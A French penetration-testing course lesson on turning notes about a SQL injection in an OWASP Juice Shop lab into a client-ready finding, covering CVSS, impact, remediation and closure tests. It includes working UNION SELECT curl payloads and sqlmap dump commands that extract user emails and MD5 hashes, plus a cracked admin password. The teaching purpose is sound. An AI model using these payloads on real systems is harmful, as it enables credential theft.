Aller au contenu principal

D'une note brute à un constat livrable

Au module 7, l'injection SQL sur la recherche de Juice Shop a tenu en vingt minutes. Les notes, elles, tiennent en huit lignes. Un client ne peut rien en faire. Cette leçon prend exactement cette trouvaille et la réécrit jusqu'à une fiche que vous pourriez coller dans le TP3.

Même lab, autre public

Cible : http://10.10.10.50:3000 — OWASP Juice Shop, déjà autorisée dans votre laboratoire. Les comptes extraits sont ceux du module 7 (admin@juice-sh.op, trois lignes, --stop=3). On ne relance pas d'extraction massive. On rédige.

Ce que vous saurez faire après cette leçon

  • Distinguer une note de terrain d'un constat : ce qui manque, ce qui ment, ce qui se rejoue.
  • Reconstruire une preuve curl à partir d'un succès sqlmap, pour que le client n'ait pas à installer l'outil.
  • Calculer un vecteur CVSS 3.1, puis trancher P1 avec une phrase métier.
  • Formuler un impact que la direction peut citer, et une remédiation que le développeur peut tester.
  • Ranger la fiche dans le rapport : numéro, annexes, lien depuis le résumé.

1. Le AVANT — ce que vous avez vraiment dans le carnet

Voici, sans maquillage, ce qu'un carnet de mission ressemble après l'étape 3 du module 7. C'est normal. Ce n'est pas livrable.

2026-04-16 14:10  juice 10.10.10.50:3000
search q=apple -> 200 liste produits
q=apple' -> 500 SQLITE_ERROR near "'"
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
UNION param q SQLite
sqlmap --tables Users Products Feedbacks BasketItems ...
sqlmap --dump -T Users --start=1 --stop=3
1 admin@juice-sh.op 0192023a7bbd73250516f069df18b500 admin
2 jim@juice-sh.op e5a9e79ba99895c40506c5be3f4d2354 customer
3 bender@juice-sh.op 03dfb27506def0d31d5b1e57dc95519f customer
crackstation 0192023a... -> admin123 3 secondes
TODO rapport
pas touché au login SQLi de l'étape 2 (autre fiche)

Ce bloc contient déjà les faits. Il ne contient aucun des sept champs du gabarit. Titre absent, priorité absente, impact = « TODO », remédiation = rien, preuve = un outil que le développeur n'ouvrira pas.

La suite de la leçon remplit les champs dans l'ordre où un lecteur les lit, pas dans l'ordre où vous avez cliqué.


2. Reconstruire la preuve primaire : un curl, pas un outil

sqlmap a confirmé. Le rapport, lui, montre une requête qu'un tiers rejoue en trente secondes. On repart de l'erreur, puis on extrait.

2.1. Montrer que l'entrée casse le SQL

curl -sS -D - -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o /tmp/sqli-erreur.body | head -n 20

Sortie typique (en-têtes) :

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

Extrait du corps :

{"error":{"message":"SQLITE_ERROR: near \"'\": syntax error","stack":"SequelizeDatabaseError: SQLITE_ERROR: near \"'\": syntax error\n    at Query.run..."}}

Lecture pour la fiche. Le paramètre q est interpolé dans une requête SQLite. Le serveur avoue le moteur et la nature de l'erreur. C'est déjà une preuve. Ce n'est pas encore l'impact : une erreur 500 n'est pas un dump.

2.2. Extraire trois comptes, comme au module 7

Juice Shop construit une clause du type name LIKE '%…%' OR description LIKE '%…%'. La charge utile de démonstration referme les parenthèses, enchaîne un UNION SELECT à neuf colonnes (le schéma Products du lab), et commente la suite.

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
| jq '.data[:3] | .[] | {id,name,description}'

Sortie observée (trois premières lignes utiles) :

{
"id": 1,
"name": "admin@juice-sh.op",
"description": "0192023a7bbd73250516f069df18b500"
}
{
"id": 2,
"name": "jim@juice-sh.op",
"description": "e5a9e79ba99895c40506c5be3f4d2354"
}
{
"id": 3,
"name": "bender@juice-sh.op",
"description": "03dfb27506def0d31d5b1e57dc95519f"
}

Le champ name porte l'email. Le champ description porte le hash. L'API répond 200 : pour un automate, c'est une recherche réussie.

Le RoE reste dans la preuve

Trois lignes, pas la table. Vous écrivez « extraction limitée à trois enregistrements, conformément au RoE ». Cela protège le client (pas de copie complète sur votre disque) et vous (on ne vous accuse pas d'avoir exfiltré la base).

2.3. Le secret d'administration, en clair

Le module 7 a déjà cassé le hash sur CrackStation : 0192023a7bbd73250516f069df18b500admin123. MD5, sans sel visible. Temps : moins de cinq minutes, dont trois secondes de casse.

Dans le corps du constat, on publie le hash tronqué et le fait qu'il est cassé. Le hash complet et la capture CrackStation vont en annexe, sous le même numéro de fiche. Le PDF envoyé par courriel n'a pas besoin d'être un dictionnaire de mots de passe.

Sauvegardez dès maintenant, avec la convention de la leçon 12.1 :

mkdir -p ~/mission/preuves
# rejouer en enregistrant
curl -sS -D ~/mission/preuves/C01-2026-04-16-erreur.hdr \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o ~/mission/preuves/C01-2026-04-16-erreur.json

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
-o ~/mission/preuves/C01-2026-04-16-union.json

sqlmap reste une preuve secondaire : journal daté, commande avec --stop=3. Il ne remplace pas les deux curl.


3. Le titre, le contexte, la surface

Trois phrases à figer avant de parler sévérité. Si le titre bouge ensuite, les annexes et le résumé cassent.

Titre. Action + surface.

C-01 — Injection SQL sur GET /rest/products/search

On n'écrit pas « Juice Shop » dans le titre livrable : le client nomme Catalogue ou Recherche boutique. En lab, l'URL technique suffit ; en mission réelle, vous ajoutez le nom fonctionnel entre parenthèses.

Contexte.

L'endpoint public de recherche alimente le catalogue. Il ne demande
aucune session. Il interroge une base SQLite via une chaîne interpolée.

Ce qu'on ne mélange pas. L'injection sur le formulaire de connexion (étape 2 du module 7) est C-02, une autre fiche. Même famille CWE, autre surface, autre remédiation (autre requête, autre fichier).


4. Calculer le CVSS, puis trancher le P1

On remplit le vecteur sur ce qui a été démontré : lecture de la table Users depuis Internet, sans compte. Pas d'écriture, pas de shell OS, pas de DELETE.

MétriqueValeurPourquoi
Attack VectorN (Network)HTTP public.
Attack ComplexityL (Low)Une requête GET, pas de course, pas de jeton.
Privileges RequiredN (None)Pas de cookie.
User InteractionN (None)Pas de clic victime.
ScopeU (Unchanged)L'impact reste l'application et sa base.
ConfidentialityH (High)Emails et secrets d'authentification.
IntegrityN (None)Aucune modification démontrée.
AvailabilityN (None)Pas de déni.

Vecteur :

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Score de base : 7,5High. Pas 9,8. Le 9,8 exigerait typiquement une atteinte à l'intégrité ou à la disponibilité, ou une exécution de code. Vous ne l'avez pas montrée. Inventer un 9,8 ici est un mensonge de rapport.

Décision de priorité : P1.

FaitPoids
Surface sur Internet, sans authentificationouvre à n'importe qui
Compte admin récupéré, mot de passe faible casséprise de contrôle du back-office
Emails d'autres comptesdonnées personnelles du lab ; chez un vrai client, Loi 25 / RGPD
Rejeu en une ligne curlpas de compétence rare
CVSS 7,5 seulementn'annule pas les quatre lignes du dessus

Phrase de justification, à coller sous la priorité :

P1 — un tiers anonyme obtient le secret d'administration de la boutique
depuis l'Internet public ; le score CVSS 7,5 sous-estime cet impact métier.

Si le même vecteur avait concerné un moteur de recherche interne, derrière VPN et compte déjà privilégié, la fiche serait probablement P2. Ce n'est pas le cas.


5. L'impact métier — trois niveaux, une seule fiche

On écrit ce qui est déjà vrai, puis on sépare nettement ce qui serait une chaîne (vue d'ensemble), pas un impact de fiche.

Pour la direction (cette phrase partira aussi dans le résumé, reformulée) :

La recherche publique livre les identifiants de l'administrateur de la
boutique. Un inconnu peut ouvrir le back-office et agir au nom du marchand.

Pour le juriste / RSSI :

Des adresses électroniques et des secrets d'authentification sont
extractibles sans droit. Sur une boutique réelle, cela déclenche une
analyse d'incident et, selon le fichier clients, une obligation de
notification (Loi 25, RGPD). Les mots de passe sont stockés en MD5,
sans sel observé : la casse est immédiate.

Pour l'équipe technique :

Lecture de la table Users via UNION sur le paramètre q. Rôle admin
confirmé. Mot de passe admin123 obtenu par casse d'un MD5 connu.
Aucun UPDATE / INSERT / os-shell n'a été tenté.

Ce qu'on n'écrit pas dans C-01 : « ensuite l'attaquant pivotera vers la comptabilité ». Vous n'avez pas pivoté. Si une chaîne existe (XSS d'admin, Jenkins, AD), elle se raconte à la section vue d'ensemble, avec les numéros de fiches.


6. La remédiation — correction, compensation, test, effort

Trois couches. Le client doit voir laquelle ferme le P1.

Correction (ferme le P1).

  • Requête paramétrée / ORM : le paramètre q n'est plus concaténé.
  • Compte de base : l'application n'utilise pas un rôle capable de lire Users depuis une recherche catalogue — principe du moindre privilège.
  • Stockage des secrets : abandon de MD5 ; Argon2id ou bcrypt, sel unique.
  • Dès aujourd'hui : rotation du mot de passe admin, invalidation des sessions, journalisation des GET anormaux sur /rest/products/search.

Compensation (en attendant le correctif).

  • Règle WAF sur UNION, commentaires SQL, SQLITE_ERROR en 500. Ce n'est pas la clôture. Un WAF se contourne ; la fiche reste ouverte tant que le curl UNION fonctionne.

Test de clôture — le même que la preuve, attendu différent :

curl -sS -o /tmp/apres.json -w '%{http_code}\n' \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"

# Attendu : 400 ou 200 avec data=[] ou une liste de produits réels,
# jamais un objet dont "name" est une adresse et "description" un hash.
jq '.data[] | .name' /tmp/apres.json

Effort. Un à trois jours-personnes pour un développeur qui connaît la stack (Express / Sequelize dans ce lab). La rotation du mot de passe : une heure, ops ou admin boutique, le jour de la lecture du P1.

Références à coller :

Réf.Identifiant
CWECWE-89 (SQL Injection)
OWASPA03:2021 Injection
CWE adjacentCWE-328 (Weak Hash), CWE-209 (Error Message)
CVEaucune — défaut d'implémentation, pas un produit catalogué

7. Le APRÈS — la fiche telle qu'elle part au client

Ci-dessous, le constat entier. C'est le niveau attendu pour chacune des six fiches du TP3. Les blocs HTTP sont à l'intérieur du gabarit : le cadre extérieur a quatre accents graves.

## C-01 — Injection SQL sur GET /rest/products/search

**Sévérité.** P1.
CVSS 3.1 : 7,5 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`.
Justification : un tiers anonyme obtient le secret d'administration de la
boutique depuis l'Internet public ; le score 7,5 sous-estime cet impact métier.

**Contexte.** L'endpoint public de recherche alimente le catalogue. Aucune
session n'est exigée. Le paramètre `q` est interpolé dans une requête SQLite.

**Preuve.** 16 avril 2026, laboratoire autorisé `10.10.10.50:3000`.
Extraction limitée à trois enregistrements (RoE).

Détection — une apostrophe suffit à faire échouer le SQL :

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'"
```

Réponse : HTTP 500, corps `SQLITE_ERROR: near "'": syntax error`.

Extraction — `UNION SELECT` sur neuf colonnes, table `Users` :

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
```

Réponse : HTTP 200. Les trois premiers objets utiles portent, dans `name`
et `description`, `admin@juice-sh.op` / `0192023a7bbd7325…`,
`jim@juice-sh.op`, `bender@juice-sh.op`.

Confirmation secondaire : `sqlmap -r preuves/req-search.txt --batch --level=3`
puis `--dump -T Users --start=1 --stop=3`. Même table, même limitation.

Casse : hash MD5 de l'administrateur résolu en `admin123` (dictionnaire public).
Journal et captures : annexe A, fichiers `C01-2026-04-16-*`.

**Impact métier.** Un inconnu lit les identifiants de l'administrateur et
des clients, puis ouvre le back-office. Les secrets sont stockés en MD5
sans sel observé. Sur une boutique réelle, emails et accès admin
entraînent une analyse d'incident et, selon le fichier, une notification
Loi 25 / RGPD. Aucune écriture en base ni exécution système n'a été
démontrée.

**Remédiation.**
1. Immédiat (ops, moins d'une heure) : rotation du mot de passe admin,
invalidation des sessions, alerte sur les 500 SQL.
2. Correctif (dev, 1 à 3 jours) : requêtes paramétrées sur `q` ;
compte SQL en lecture catalogue seulement ; hash Argon2id ou bcrypt.
3. Compensation temporaire : règle WAF. Ne clôt pas le constat.
4. Test de clôture : le `curl` UNION ci-dessus ne doit plus renvoyer
d'email ni de hash. Un 400, ou une liste de produits réels, suffit.

**Références.** CWE-89, CWE-328, CWE-209, OWASP A03:2021. Pas de CVE.

Comparez avec le carnet de la section 1. Tous les faits techniques sont là. Rien n'a été inventé. Tout est devenu décidable.


8. Où cette fiche se branche dans le rapport

La fiche ne flotte pas. Quatre raccords, sinon le PDF se contredit.

Résumé exécutif — une ligne, sans URL :

P1 — la recherche publique livre le compte d'administration de la boutique
(voir C-01). Action de la semaine : rotation du secret et correctif du
paramètre de recherche.

Carte de chaleur — +1 dans la case Applicatif / P1.

Recommandations par thème — C-01 alimente le chantier « Accès à la donnée » : paramétrage SQL sur toute l'application, pas seulement sur search. Si vous avez aussi le login injectable, les deux fiches fusionnent ici en une action structurelle.

Annexes

FichierContenu
C01-2026-04-16-erreur.jsonCorps 500
C01-2026-04-16-union.jsonCorps 200, trois objets
C01-2026-04-16-sqlmap.logJournal --stop=3
C01-2026-04-16-crack.pngCapture datée de la casse

Le corps du rapport ne recopie pas le JSON entier. Il pointe.


9. Quatre fautes de réécriture, sur cet exemple précis

Gonfler le score. Passer à 9,8 parce que « SQL c'est critique » : le vecteur I:N A:N ne le permet pas. Le P1 se défend sans mentir sur le chiffre.

Livrer admin123 en gras page 4. Le mot de passe en clair dans le PDF voyage. Fait + tronqué dans la fiche, complet en annexe chiffrée.

Écrire « utiliser sqlmap pour vérifier » comme remédiation. Le client ne doit pas devenir pentester. Le test de clôture est le curl UNION, ou un test unitaire qui envoie la même charge.

Fusionner avec le login injectable. Deux tickets, deux fichiers, deux tests. Le chapitre recommandations les relie. Les fiches, non.

Relire à voix haute la justification P1

Si vous ne pouvez pas la dire à un DSI en moins de quinze secondes, elle n'est pas prête. « CVSS 7,5 donc High » n'est pas une phrase de DSI. « N'importe qui sur Internet a le mot de passe de l'admin boutique » l'est.


10. Mini-exercice de contrôle — avant l'atelier

Prenez vos notes du module 7, étape 4 (XSS stockée sur le profil) ou étape 2 (login). Sans relire la fiche C-01 ci-dessus, remplissez au brouillon :

  1. titre action + surface ;
  2. vecteur CVSS (UI passera souvent à Required pour une XSS) ;
  3. priorité P1–P4 et la phrase métier ;
  4. un curl ou un pas-à-pas rejouable ;
  5. un test de clôture.

Si le titre contient « XSS » sans dire , si la preuve est alert(1) sans vol de session, si la remédiation est « filtrer les scripts », vous n'êtes pas encore au niveau C-01. Le module 7 a déjà séparé POC et impact : le rapport exige les deux, dans cet ordre — preuve d'existence, puis preuve d'effet.


Ce qu'il faut retenir

Les notes de terrain sont une matière. Le constat est un objet à sept champs, avec une preuve curl que le client rejoue, un CVSS honnête, une priorité défendable, un impact déjà démontré, une remédiation testable. Sur l'injection du module 7, le chiffre 7,5 et le P1 coexistent : le premier décrit la technique, le second la boutique prise. Prochaine leçon : vous rédigez le rapport entier — six fiches, résumé, plan 3 / 6 / 12 mois.